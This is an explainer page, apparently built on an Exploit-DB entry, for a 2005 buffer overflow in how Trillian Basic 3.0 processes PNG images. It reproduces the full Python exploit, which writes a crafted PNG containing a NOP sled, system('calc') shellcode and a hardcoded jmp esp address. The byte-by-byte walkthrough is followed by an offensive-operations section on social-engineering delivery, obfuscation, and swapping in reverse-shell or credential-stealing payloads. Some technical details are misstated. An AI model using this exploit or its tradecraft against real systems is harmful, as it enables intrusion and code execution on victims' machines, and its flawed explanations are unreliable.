Trillian Basic 3.0 '.png' Image Processing Buffer Overflow Explained

Trillian Basic 3.0 '.png' Image Processing Buffer Overflow Explained
What this paper is
This paper details a security vulnerability found in Trillian Basic version 3.0, a popular instant messaging client. The vulnerability is a buffer overflow that occurs when the application processes a specially crafted '.png' image file. By exploiting this, an attacker can cause Trillian to crash or, more critically, execute arbitrary code on the victim's machine. The exploit provided aims to achieve code execution, specifically by launching the calc.exe (calculator) program.
Simple technical breakdown
The core of the vulnerability lies in how Trillian handles the '.png' image data. When it reads a malformed PNG file, it doesn't properly check the size of the data it's copying into a fixed-size memory buffer. This allows an attacker to provide more data than the buffer can hold.
When this "overflow" happens, the excess data spills over into adjacent memory locations. Crucially, this overflow can overwrite critical control information, such as the return address that the program uses to know where to go back to after a function finishes.
The exploit crafts a PNG file that:
- Starts with a valid-looking PNG header to trick Trillian into processing it.
- Contains a large amount of data designed to overflow the buffer.
- This overflow data includes a "return address" that points to a location in memory controlled by the attacker.
- This attacker-controlled memory contains "shellcode" – small pieces of machine code that perform specific actions. In this case, the shellcode is designed to call the
system()function with the argument "calc", which launches the calculator. - The exploit also includes "NOP sleds" (No Operation instructions) which are sequences of instructions that do nothing but advance the instruction pointer. These help ensure that even if the exact jump point isn't perfect, the execution will eventually land on the shellcode.
Complete code and payload walkthrough
The provided Python script generates a malicious PNG file. Let's break down the PngOfDeath variable, which is the core of the exploit payload.
import sys
import struct
# Addresses are compatible with Windows XP Service Pack 1
ReturnAddress = 0x77D7A145 # Address of "jmp esp" in ntdll.dll
SystemAddress = 0x77C28044 # Address Of the system() function
# PNG Header
PngOfDeath = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
PngOfDeath += "\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
PngOfDeath += "\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53"ReturnAddress = 0x77D7A145: This is a critical address. It points to ajmp esp(jump to the stack pointer) instruction withinntdll.dll. When the vulnerable function returns, instead of returning to its legitimate caller, it will jump to this address. The stack pointer (esp) at this point is expected to be pointing to the attacker's shellcode, allowing it to be executed. This is a common technique for finding a reliable jump point to shellcode.SystemAddress = 0x77C28044: This is the memory address of thesystem()function inntdll.dll. Thesystem()function in Windows is used to execute a command string.PngOfDeath: This string variable will hold the entire malicious PNG data.- PNG Header:
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53": These bytes represent the start of a valid PNG file. This is crucial to make Trillian attempt to process the file as an image, triggering the vulnerable code path. The specific bytes define the PNG signature and some initial header chunk information (like IHDR).
# Nops
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90"- NOPs (No Operation):
"\x90"is the opcode for a NOP instruction on x86 architecture. A sequence of NOPs forms a "NOP sled." The purpose of the NOP sled is to provide a larger target area for the execution flow. If theReturnAddressdoesn't land exactly on the start of the shellcode, but anywhere within the NOP sled, the processor will simply execute the NOPs one by one until it eventually reaches the actual shellcode. This increases the reliability of the exploit.
# system(calc) shellcode
PngOfDeath += "\x33\xC0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\xb9"
PngOfDeath += struct.pack("<L",SystemAddress)
PngOfDeath += "\xFF\xD1"system(calc) shellcode: This is the core payload that executes the desired action. Let's break down these bytes:\x33\xC0:XOR EAX, EAX. This sets theEAXregister to zero.\x50:PUSH EAX. Pushes the value ofEAX(which is 0) onto the stack. This is often used as a null terminator for strings or as a placeholder.\x68\x63\x61\x6c\x63:PUSH 0x636c6163. This pushes the ASCII string "calc" onto the stack. In little-endian format,0x636c6163represents the bytesc,a,l,c.\x54:PUSH ESP. Pushes the current value of the stack pointer (ESP) onto the stack. At this point,ESPpoints to the "calc" string we just pushed. So, this effectively pushes a pointer to the string "calc" onto the stack.\x5B:POP EBX. Pops the value from the top of the stack into theEBXregister.EBXwill now hold the pointer to the "calc" string.\x50:PUSH EAX. Pushes zero onto the stack again.\x53:PUSH EBX. Pushes the pointer to the "calc" string (currently inEBX) onto the stack. So now, the stack has[0, pointer_to_calc].\xb9:MOV ECX, .... This is the opcode forMOV ECX, imm32. It's followed by a 32-bit immediate value.struct.pack("<L",SystemAddress): This part dynamically inserts the address of thesystem()function (0x77C28044) as a little-endian 32-bit value. So, the instruction becomesMOV ECX, 0x77C28044.ECXwill now hold the address of thesystem()function.\xFF\xD1:CALL ECX. This instruction calls the address stored in theECXregister. SinceECXholds the address ofsystem(), this effectively callssystem(pointer_to_calc). The arguments forsystem()are already on the stack in the correct order.
# Junk Data
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
# ... (many more NOPs)- Junk Data / More NOPs: These are additional NOP instructions. They serve to pad the payload, ensuring that the buffer overflow is large enough to overwrite the return address and that there's enough space for the shellcode and the subsequent jump back. They also help to position the return address correctly relative to the shellcode.
# Return Address
PngOfDeath += struct.pack("<L",ReturnAddress)- Return Address:
struct.pack("<L",ReturnAddress): This packs theReturnAddress(0x77D7A145) as a little-endian 32-bit value and appends it toPngOfDeath. This is the crucial part that overwrites the legitimate return address on the stack. When the vulnerable function attempts to return, it will instead jump to0x77D7A145.
# Jump Back Shellcode
PngOfDeath += "\x54\x59\xFE\xCD\x89\xE5\xFF\xE1"Jump Back Shellcode: This is a small piece of shellcode, often referred to as a "trampoline" or "jump back" shellcode.\x54:PUSH ESP. Pushes the stack pointer.\x59:POP ECX. Pops the value intoECX.\xFE\xCD:DEC ECX. DecrementsECX. This is part of a common technique to calculate an address relative to the current instruction.\x89\xE5:MOV EBP, ESP. Moves the stack pointer to the base pointer.\xFF\xE1:JMP ECX. Jumps to the address inECX.
This sequence is designed to jump back to the beginning of the shellcode (or the NOP sled) after thesystem()call returns. This is a safety measure to ensure that ifsystem()returns, execution continues within the attacker's control, rather than potentially crashing the program by returning to an invalid location.
# End Of File
PngOfDeath += "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF"- End Of File / Padding:
\x90\x90\x90: More NOPs for padding.\x59:POP ECX.\xE8\x47\xFE\xFF\xFF:CALL -0x1B8(relative call). This is a common technique to calculate the address of the instruction after theCALLinstruction. It's often used to get the current instruction pointer. In this context, it might be part of a larger shellcode or padding to ensure the file ends cleanly. The specific bytes\x47\xFE\xFF\xFFrepresent a relative offset.
fileOut = open("Trillian.png","wb")
fileOut.write(PngOfDeath)
fileOut.close()- File Output: This Python code opens a file named "Trillian.png" in binary write mode (
"wb") and writes the entirePngOfDeathstring into it. This creates the malicious PNG file that, when opened by Trillian 3.0, will trigger the exploit.
Mapping list:
ReturnAddress = 0x77D7A145: Target address for the overwritten return pointer, pointing tojmp espinntdll.dll.SystemAddress = 0x77C28044: Target address for calling thesystem()function.- PNG Header bytes: Triggers Trillian's image parsing logic.
\x90(NOPs): NOP sled for reliable shellcode execution.\x33\xC0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\xb9+struct.pack("<L",SystemAddress)+\xFF\xD1: Shellcode to callsystem("calc").struct.pack("<L",ReturnAddress): Overwrites the return address on the stack.\x54\x59\xFE\xCD\x89\xE5\xFF\xE1: Jump back shellcode to ensure continued execution within attacker control.- Final NOPs and
\x59\xE8...: Padding and potential end-of-file handler.
Practical details for offensive operations teams
- Required Access Level: This exploit is typically delivered via a file. Therefore, the attacker needs a way to get the victim to open the malicious
Trillian.pngfile. This could be through email attachment, a shared network drive, a compromised website, or social engineering. No elevated privileges are required on the target system itself for the initial delivery. - Lab Preconditions:
- A vulnerable version of Trillian Basic 3.0 installed on a Windows XP SP1 or compatible system.
- A network environment where the attacker can deliver the file to the victim.
- A way to host or deliver the
Trillian.pngfile.
- Tooling Assumptions:
- The exploit script itself is written in Python, requiring a Python interpreter.
- A hex editor or file viewer might be useful for analyzing the generated
Trillian.pngfile. - A debugger (like WinDbg) would be invaluable for understanding the crash, identifying the overflow point, and verifying shellcode execution in a lab environment.
- A shellcode development environment (e.g., using Metasploit's
msfvenomor custom assembly) could be used to generate alternative shellcode if needed.
- Execution Pitfalls:
- Address Space Layout Randomization (ASLR): While ASLR was not prevalent on Windows XP SP1 in the way it is today, modern systems with ASLR enabled would make the hardcoded
ReturnAddressandSystemAddressunreliable. Techniques like return-to-libc or ROP chains would be necessary. - DEP/NX Bit: Data Execution Prevention (DEP) or No-Execute (NX) bit would prevent the shellcode from running if it's placed in a data segment. The exploit relies on the
jmp esptechnique, which assumes the stack is executable. Modern OS protections would likely block this. - Trillian Version Specificity: The hardcoded addresses are specific to Trillian Basic 3.0 and Windows XP SP1. Different versions of Trillian or different Windows versions would require re-finding these addresses.
- Antivirus/IDS: Signature-based antivirus solutions would likely detect the generated
Trillian.pngfile or the shellcode itself. Heuristic analysis might also flag the unusual file structure or behavior. - File Corruption: If the generated PNG file is corrupted during transfer or storage, it might not be processed correctly, leading to a crash without code execution.
- Buffer Size Mismatch: The exact size of the overflow and the placement of the return address are critical. If the buffer size is slightly different in a specific build or if the overflow doesn't reach the return address, the exploit will fail.
- Address Space Layout Randomization (ASLR): While ASLR was not prevalent on Windows XP SP1 in the way it is today, modern systems with ASLR enabled would make the hardcoded
- Tradecraft Considerations:
- Delivery Mechanism: The most challenging aspect is getting the victim to open the file. Social engineering is paramount.
- Obfuscation: The Python script is straightforward. For real-world operations, the generated PNG could be further obfuscated or delivered via a dropper.
- Payload Customization: The
calc.exepayload is a proof-of-concept. A real-world payload would likely be a reverse shell, a beacon for a C2 framework, or a credential stealer. - Reconnaissance: Understanding the target's Trillian version and operating system is essential before attempting this exploit.
Where this was used and when
- Context: This exploit was published in 2005. At that time, Trillian was a very popular instant messaging client, and vulnerabilities in such widely used applications were significant.
- Usage: Exploits like this were typically used in penetration testing engagements to demonstrate the impact of vulnerabilities in client-side applications. They could also have been used by malicious actors for targeted attacks or by early malware.
- Approximate Years/Dates: The paper was published on March 2, 2005. The vulnerability would have been exploitable from the release of Trillian Basic 3.0 until it was patched. The specific version of Trillian is "Basic 3.0".
Defensive lessons for modern teams
- Patch Management: The most fundamental lesson is the importance of keeping software updated. Trillian Basic 3.0 is long obsolete and unpatched. Organizations must have robust patch management processes for all software, especially client-side applications.
- Input Validation: Developers must rigorously validate all user-supplied input, especially when dealing with file parsing. Buffer overflows are a classic vulnerability that can be prevented by checking buffer sizes and data lengths.
- Secure Coding Practices: Employing secure coding guidelines and using static/dynamic analysis tools can help identify and prevent vulnerabilities like buffer overflows early in the development lifecycle.
- Endpoint Detection and Response (EDR): Modern EDR solutions can detect anomalous behavior, such as unexpected program crashes, unusual memory access patterns, or the execution of shellcode, even if the specific exploit signature is unknown.
- Least Privilege: Running applications with the least privilege necessary can limit the impact of a successful exploit. If Trillian were running with restricted user rights, even successful code execution might not grant an attacker administrative access.
- Application Whitelisting: For highly sensitive environments, application whitelisting can prevent unauthorized executables (like shellcode) from running.
- Network Segmentation: Limiting the ability of an attacker to deliver files to victims through network segmentation and strict firewall rules can hinder exploit delivery.
ASCII visual (if applicable)
This exploit involves a memory layout and control flow manipulation. A simplified visual representation of the stack during the vulnerable function call and the overflow can be helpful.
+-------------------+
| ... |
+-------------------+
| Function Arguments|
+-------------------+
| Return Address | <--- THIS IS OVERWRITTEN
+-------------------+
| Saved Registers |
+-------------------+
| Local Variables |
| (Vulnerable Buffer| <--- THIS IS OVERFLOWED
| allocated here) |
+-------------------+
| ... |
+-------------------+
After Overflow:
+-------------------+
| ... |
+-------------------+
| Function Arguments|
+-------------------+
| ATTACKER'S | <--- Points to Shellcode
| Return Address |
+-------------------+
| Saved Registers |
+-------------------+
| Local Variables |
| (Overflow Data |
| including NOPs, |
| Shellcode, etc.) |
+-------------------+
| ... |
+-------------------+The jmp esp at 0x77D7A145 ensures that when the function returns, execution jumps to the stack pointer, which is now pointing into the attacker-controlled data (the NOP sled and shellcode).
Source references
- Paper ID: 852
- Paper Title: Trillian Basic 3.0 - '.png' Image Processing Buffer Overflow
- Author: Tal Zeltzer
- Published: 2005-03-02
- Paper URL: https://www.exploit-db.com/papers/852
- Raw Exploit URL: https://www.exploit-db.com/raw/852
Original Exploit-DB Content (Verbatim)
##################################################################
# #
# See-security Technologies ltd. #
# #
# http://www.see-security.com #
# #
##################################################################
# #
# Trillian 3.0 PNG Image Processing Buffer overflow Exploit #
# #
# #
# Discovered and coded by: Tal zeltzer #
# #
##################################################################
import sys
import struct
# Addresses are compatible with Windows XP Service Pack 1
ReturnAddress = 0x77D7A145 # Address of "jmp esp" in ntdll.dll
SystemAddress = 0x77C28044 # Address Of the system() function
# PNG Header
PngOfDeath = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
PngOfDeath += "\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
PngOfDeath += "\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53"
# Nops
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
# system(calc) shellcode
PngOfDeath += "\x33\xC0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\xb9"
PngOfDeath += struct.pack("<L",SystemAddress)
PngOfDeath += "\xFF\xD1"
# Junk Data
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
# Return Address
PngOfDeath += struct.pack("<L",ReturnAddress)
# Jump Back Shellcode
PngOfDeath += "\x54\x59\xFE\xCD\x89\xE5\xFF\xE1"
# End Of File
PngOfDeath += "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF"
fileOut = open("Trillian.png","wb")
fileOut.write(PngOfDeath)
fileOut.close()
# milw0rm.com [2005-03-02]